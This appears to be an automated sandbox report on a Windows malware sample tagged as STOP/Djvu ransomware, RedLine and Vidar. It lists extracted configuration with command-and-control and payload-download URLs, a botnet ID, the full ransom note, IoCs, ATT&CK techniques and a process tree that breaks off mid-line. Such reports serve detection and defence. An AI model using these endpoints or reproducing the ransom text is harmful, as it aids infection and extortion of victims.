djvu | 80cdfc120b7824e7cb5b34fc9ab1b6b43b84dfb435fd8f3e681ad4ae0ebd41de

Analysis

max time kernel
165s
max time network
173s
platform
windows10-2004_x64
resource
win10v2004-20220310-en
submitted
21/03/2022, 13:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe
Size 206KB
Sample220321-qf3rsacfej
SHA256 80cdfc120b7824e7cb5b34fc9ab1b6b43b84dfb435fd8f3e681ad4ae0ebd41de
MD5 bdf006ab7d3b4238dab5d9b3d65cd64e
SHA1 8d0a87a19e5c1be940e8829aa5ee9be5312fda67
SHA512 540b02490c5e9b5adba34c46d06f712f1d2b3c7178a1c2b3c5d4e6b94c2cf8117c145aa0cad9cab680e8c14037b68f8431e753f1a1782be1563cecc7a7bedaef
MD5 SHA1 SHA512

Score

10^/10

djvu redline vidar 937 bomji1234 evasion infostealer ransomware spyware stealer suricata trojan

Malware Config

Extracted

Family

redline

Botnet

bomji1234

86.107.197.196:63065

Attributes

auth_value
c1142ca8af2e545509032e96c9bc48d7

Extracted

Family

vidar

Version

50.9

Botnet

https://ieji.de/@sam7al
https://busshi.moe/@sam0al

Attributes

profile_id
937

Extracted

Family

djvu

http://fuyt.org/test3/get.php

Attributes

extension
.ssoi
offline_id
dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1
payload_url
http://zerit.top/dl/build2.exe

http://fuyt.org/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-NdDG3HIUZp Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0427Jsfkjn

rsa_pubkey.plain

Signatures

Detected Djvu ransomware 4 IoCs

resource	yara_rule
behavioral2/memory/3248-287-0x0000000002230000-0x000000000234B000-memory.dmp	family_djvu
behavioral2/memory/5724-284-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/5724-276-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/5724-267-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	620	3964	rundll32.exe	88

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 27 IoCs

resource	yara_rule
behavioral2/memory/3044-170-0x00000000005B0000-0x0000000000731000-memory.dmp	family_redline
behavioral2/memory/3044-189-0x00000000005B0000-0x0000000000731000-memory.dmp	family_redline
behavioral2/memory/1128-190-0x0000000000760000-0x0000000000919000-memory.dmp	family_redline
behavioral2/memory/3044-211-0x00000000005B0000-0x0000000000731000-memory.dmp	family_redline
behavioral2/memory/1128-210-0x0000000000760000-0x0000000000919000-memory.dmp	family_redline
behavioral2/memory/3044-205-0x00000000005B0000-0x0000000000731000-memory.dmp	family_redline
behavioral2/memory/1108-203-0x0000000000F70000-0x0000000000F90000-memory.dmp	family_redline
behavioral2/memory/5040-202-0x0000000000580000-0x0000000000701000-memory.dmp	family_redline
behavioral2/memory/1128-204-0x0000000000760000-0x0000000000919000-memory.dmp	family_redline
behavioral2/memory/5040-200-0x0000000000580000-0x0000000000701000-memory.dmp	family_redline
behavioral2/memory/3044-196-0x00000000005B0000-0x0000000000731000-memory.dmp	family_redline
behavioral2/memory/5040-186-0x0000000000580000-0x0000000000701000-memory.dmp	family_redline
behavioral2/memory/1128-179-0x0000000000760000-0x0000000000919000-memory.dmp	family_redline
behavioral2/memory/5040-169-0x0000000000580000-0x0000000000701000-memory.dmp	family_redline
behavioral2/memory/1128-168-0x0000000000760000-0x0000000000919000-memory.dmp	family_redline
behavioral2/files/0x000400000002068b-148.dat	family_redline
behavioral2/files/0x000400000002068b-137.dat	family_redline
behavioral2/memory/5504-243-0x0000000000B90000-0x0000000000CB4000-memory.dmp	family_redline
behavioral2/memory/5504-246-0x0000000000B90000-0x0000000000CB4000-memory.dmp	family_redline
behavioral2/memory/5504-256-0x0000000000B90000-0x0000000000CB4000-memory.dmp	family_redline
behavioral2/memory/5584-257-0x0000000000220000-0x000000000033E000-memory.dmp	family_redline
behavioral2/memory/5584-290-0x0000000000220000-0x000000000033E000-memory.dmp	family_redline
behavioral2/memory/5672-295-0x0000000000220000-0x000000000033E000-memory.dmp	family_redline
behavioral2/memory/5584-285-0x0000000000220000-0x000000000033E000-memory.dmp	family_redline
behavioral2/memory/5672-274-0x0000000000220000-0x000000000033E000-memory.dmp	family_redline
behavioral2/memory/5672-266-0x0000000000220000-0x000000000033E000-memory.dmp	family_redline
behavioral2/memory/5504-258-0x0000000000B90000-0x0000000000CB4000-memory.dmp	family_redline

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern
suricata
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral2/memory/4444-222-0x0000000000400000-0x00000000004D1000-memory.dmp	family_vidar
behavioral2/memory/4444-229-0x0000000002280000-0x000000000232C000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 23 IoCs

pid	Process
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
1108	HLjb8AMsXcS_VC7YZ7rWbaPn.exe
4444	XtTw5IV_oa6Y9bNDX7sDUvuS.exe
1128	oLuSDWim9mVUo9_uHKWcFjpT.exe
5040	dommYsXQH2KxWi_HOaOsVmch.exe
5032	pMf89HmPZkRLNRmW39iYKLfX.exe
5052	N16ifDDeAk0U95fYIcSIfRvQ.exe
4104	IPMg4PVRgec6WaMMlYqVadsV.exe
5112	Fc4VPRkN1y6SCbYU1M855McH.exe
2912	sla4TLAHBMKXbSEO5Y3Tu0Ta.exe
2232	60XdzXnBhrl_o50bjInPrgg3.exe
3248	WerFault.exe
2072	Mz3djn8j4HQqvc7m14j9YX1L.exe
3044	dIALvIzYE_XOdHrjXlTJaRyX.exe
400	DARGvgJP2TYc83wwX3c8HDE2.exe
1032	7HHV4p5gWsylXpaipQvip7sX.exe
4428	cXqbV2vtaeBxgs8MBIhBWZb1.exe
1272	mJFX3Pxmo_nnfkWsqg1Ypz8a.exe
4632	Bk_3pzu_8aAaQS1JzZkE3WvG.exe
2316	dmoyraldgwfm6RQwDVDRWzIg.exe
5144	Install.exe
5456	Install.exe
5504	AE4C8.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	nthost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	IPMg4PVRgec6WaMMlYqVadsV.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
42	ipinfo.io
43	ipinfo.io
155	ipinfo.io
194	ipinfo.io
269	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
5040	dommYsXQH2KxWi_HOaOsVmch.exe
3044	dIALvIzYE_XOdHrjXlTJaRyX.exe
1128	oLuSDWim9mVUo9_uHKWcFjpT.exe
2316	dmoyraldgwfm6RQwDVDRWzIg.exe
5504	AE4C8.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	N16ifDDeAk0U95fYIcSIfRvQ.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	N16ifDDeAk0U95fYIcSIfRvQ.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 29 IoCs

pid	pid_target	Process	procid_target
5364	5032	WerFault.exe	123
5400	5112	WerFault.exe	97
5388	2232	WerFault.exe	98
5340	400	WerFault.exe	114
5732	5032	WerFault.exe	123
5448	400	WerFault.exe	114
1784	2232	WerFault.exe	98
4316	5112	WerFault.exe	97
1672	4348	WerFault.exe	172
6308	1032	WerFault.exe	112
6844	4632	WerFault.exe	108
7072	4348	WerFault.exe	172
3292	1032	WerFault.exe	112
5152	4632	WerFault.exe	108
5560	4348	WerFault.exe	172
2876	1032	WerFault.exe	112
604	6192	WerFault.exe	220
3808	4632	WerFault.exe	108
3572	1032	WerFault.exe	112
5900	4348	WerFault.exe	172
6948	4348	WerFault.exe	172
6080	604	WerFault.exe	289
5960	6908	WerFault.exe	258
5824	2376	WerFault.exe	269
1304	4632	WerFault.exe	108
852	2072	WerFault.exe	116
5796	4348	WerFault.exe	172
6716	4204	WerFault.exe	290
6036	2912	WerFault.exe	120

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3708	schtasks.exe
5772	schtasks.exe
6992	schtasks.exe
1316	schtasks.exe
5880	schtasks.exe
5872	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2300	timeout.exe
5556	timeout.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
5364	tasklist.exe
6036	tasklist.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
6608	taskkill.exe
6960	taskkill.exe
6732	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe
1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe
2100	cpiBu7vqxgWdbL1TwlHenCHz.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	dIALvIzYE_XOdHrjXlTJaRyX.exe
Token: SeDebugPrivilege	5040	dommYsXQH2KxWi_HOaOsVmch.exe
Token: SeDebugPrivilege	1128	oLuSDWim9mVUo9_uHKWcFjpT.exe
Token: SeDebugPrivilege	2072	Mz3djn8j4HQqvc7m14j9YX1L.exe
Token: SeDebugPrivilege	2912	sla4TLAHBMKXbSEO5Y3Tu0Ta.exe
Token: SeDebugPrivilege	1272	mJFX3Pxmo_nnfkWsqg1Ypz8a.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1944 wrote to memory of 2100	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	89
PID 1944 wrote to memory of 2100	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	89
PID 1944 wrote to memory of 1108	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	127
PID 1944 wrote to memory of 1108	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	127
PID 1944 wrote to memory of 1108	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	127
PID 1944 wrote to memory of 4444	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	126
PID 1944 wrote to memory of 4444	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	126
PID 1944 wrote to memory of 4444	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	126
PID 1944 wrote to memory of 1128	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	125
PID 1944 wrote to memory of 1128	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	125
PID 1944 wrote to memory of 1128	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	125
PID 1944 wrote to memory of 5040	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	124
PID 1944 wrote to memory of 5040	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	124
PID 1944 wrote to memory of 5040	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	124
PID 1944 wrote to memory of 5032	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	123
PID 1944 wrote to memory of 5032	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	123
PID 1944 wrote to memory of 5032	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	123
PID 1944 wrote to memory of 5052	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	122
PID 1944 wrote to memory of 5052	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	122
PID 1944 wrote to memory of 5052	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	122
PID 1944 wrote to memory of 5112	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	97
PID 1944 wrote to memory of 5112	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	97
PID 1944 wrote to memory of 5112	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	97
PID 1944 wrote to memory of 4104	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	121
PID 1944 wrote to memory of 4104	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	121
PID 1944 wrote to memory of 4104	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	121
PID 1944 wrote to memory of 2912	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	120
PID 1944 wrote to memory of 2912	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	120
PID 1944 wrote to memory of 2912	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	120
PID 1944 wrote to memory of 2232	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	98
PID 1944 wrote to memory of 2232	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	98
PID 1944 wrote to memory of 2232	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	98
PID 1944 wrote to memory of 3248	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	117
PID 1944 wrote to memory of 3248	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	117
PID 1944 wrote to memory of 3248	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	117
PID 1944 wrote to memory of 2072	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	116
PID 1944 wrote to memory of 2072	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	116
PID 1944 wrote to memory of 2072	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	116
PID 1944 wrote to memory of 3044	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	115
PID 1944 wrote to memory of 3044	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	115
PID 1944 wrote to memory of 3044	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	115
PID 1944 wrote to memory of 400	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	114
PID 1944 wrote to memory of 400	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	114
PID 1944 wrote to memory of 400	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	114
PID 1944 wrote to memory of 1032	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	112
PID 1944 wrote to memory of 1032	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	112
PID 1944 wrote to memory of 1032	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	112
PID 1944 wrote to memory of 4428	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	99
PID 1944 wrote to memory of 4428	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	99
PID 1944 wrote to memory of 4428	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	99
PID 1944 wrote to memory of 1272	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	110
PID 1944 wrote to memory of 1272	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	110
PID 1944 wrote to memory of 1272	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	110
PID 1944 wrote to memory of 4632	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	108
PID 1944 wrote to memory of 4632	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	108
PID 1944 wrote to memory of 4632	1944	80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe	108
PID 1944 wrote to memory of 2316	1944	nthost.exe	100
PID 1944 wrote to memory of 2316	1944	nthost.exe	100
PID 1944 wrote to memory of 2316	1944	nthost.exe	100
PID 4428 wrote to memory of 5144	4428	cXqbV2vtaeBxgs8MBIhBWZb1.exe	105
PID 4428 wrote to memory of 5144	4428	cXqbV2vtaeBxgs8MBIhBWZb1.exe	105
PID 4428 wrote to memory of 5144	4428	cXqbV2vtaeBxgs8MBIhBWZb1.exe	105
PID 4104 wrote to memory of 5184	4104	IPMg4PVRgec6WaMMlYqVadsV.exe	184
PID 4104 wrote to memory of 5184	4104	IPMg4PVRgec6WaMMlYqVadsV.exe	184

C:\Users\Admin\AppData\Local\Temp\80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe
"C:\Users\Admin\AppData\Local\Temp\80CDFC120B7824E7CB5B34FC9AB1B6B43B84DFB435FD8.exe"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1944
- C:\Users\Admin\Pictures\Adobe Films\cpiBu7vqxgWdbL1TwlHenCHz.exe
  "C:\Users\Admin\Pictures\Adobe Films\cpiBu7vqxgWdbL1TwlHenCHz.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2100
- C:\Users\Admin\Pictures\Adobe Films\Fc4VPRkN1y6SCbYU1M855McH.exe
  "C:\Users\Admin\Pictures\Adobe Films\Fc4VPRkN1y6SCbYU1M855McH.exe"
  2⤵
  - Executes dropped EXE
  PID:5112
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5112 -s 464
    3⤵
    - Program crash
    PID:5400
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5112 -s 472
    3⤵
    - Program crash
    PID:4316
- C:\Users\Admin\Pictures\Adobe Films\60XdzXnBhrl_o50bjInPrgg3.exe
  "C:\Users\Admin\Pictures\Adobe Films\60XdzXnBhrl_o50bjInPrgg3.exe"
  2⤵
  - Executes dropped EXE
  PID:2232
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2232 -s 472
    3⤵
    - Program crash
    PID:5388
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2232 -s 464
    3⤵
    - Program crash
    PID:1784
- C:\Users\Admin\Pictures\Adobe Films\cXqbV2vtaeBxgs8MBIhBWZb1.exe
  "C:\Users\Admin\Pictures\Adobe Films\cXqbV2vtaeBxgs8MBIhBWZb1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4428
- - C:\Users\Admin\AppData\Local\Temp\7zSF0A7.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    PID:5144
  - - C:\Users\Admin\AppData\Local\Temp\7zS46D.tmp\Install.exe
      .\Install.exe /S /site_id "525403"
      4⤵
      Executes dropped EXE
      PID:5456
    - - C:\Windows\SysWOW64\forfiles.exe
        
